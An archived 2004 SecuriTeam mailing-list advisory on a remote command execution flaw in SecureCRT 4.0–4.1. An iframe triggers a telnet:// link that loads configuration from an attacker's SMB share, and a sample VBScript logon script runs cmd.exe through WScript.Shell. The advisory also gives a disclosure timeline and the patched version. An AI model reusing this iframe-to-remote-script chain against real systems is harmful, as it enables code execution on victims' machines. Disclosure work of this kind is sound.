

[NT] SecureCRT Remote Command Execution

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-11/0092.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 11/25/04

To: list@securiteam.com

Date: 25 Nov 2004 14:08:46 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

SecureCRT Remote Command Execution

SUMMARY

" <<http://www.vandyke.com/products/securecrt/index.html>> SecureCRT is an extremely customizable terminal emulator for Internet and intranet use with support for Secure Shell (SSH1 and SSH2) as well as Telnet and rlogin protocols". Unsafe handling of a URL handler (telnet://) in SecureCRT allows a remote attacker to run arbitrary code on the target machine.

DETAILS

Vulnerable Systems:

- * SecureCRT Version 4.1 and 4.0 (and probably lower)

Immune Systems:

- * SecureCRT version 4.1.9

SecureCRT installs a URL PROTOCOL handler into the registry, as

"C:\Program Files\SecureCRT\SecureCRT.EXE" %1

This allows a user to click on a telnet:// link and have it opened from within their web browser. This 'telnet execution' can be automated through an HTML page such as <iframe src="<telnet://192.168.0.1:25>">

Securiteam: [NT] SecureCRT Remote Command Execution

SecureCRT will accept a command line option (/F) to specify the directory to use as the configuration folder. It is possible by crafting a special URL to specify this directory through the HTML page. An attacker can specify a directory accessible through unprotected SMB share, therefore allowing them to control the configuration of SecureCRT.

Exploitation:

SecureCRT allows for 'scripting' using script languages such as VBScript and has the ability to create a logon script. An attacker can therefore create a script to execute commands and have these commands executed on the targets computer.

There appears to be some filtering around the use of \ in the URL->command line parsing, that appeared to prevent the specification of an SMB share to use for the configuration. This can be easily bypassed and leads to the loading of a configuration file from a remote site.

The configuration file contains an entry that specifies the login script to run which can be set a file on the the remote share;
S:"Script Filename"=\\ipofshare\share\folder\scriptname
And the login script can then contain scripting such as:

```
# $language = "VBScript"  
# $interface = "1.0"
```

Sub Main

```
dim wshShell, boolErr, strErrDesc  
Set wshShell = CreateObject("WScript.Shell")  
run = wshShell.Run ("cmd.exe /c dir >c:\shell.txt",0,True)  
End Sub
```

Disclosure Timeline:

- * August 24, 2004: Discovered and advised to vandyke.com by Brett Moore of Security-Assessment.com
- * October 26, 2004: SecureCRT version 4.1.9 released
- * November 23, 2004: Public disclosure

ADDITIONAL INFORMATION

The information has been provided by
<mailto:brett.moore@security-assessment.com> Brett Moore.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

Securiteam: [NT] SecureCRT Remote Command Execution

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.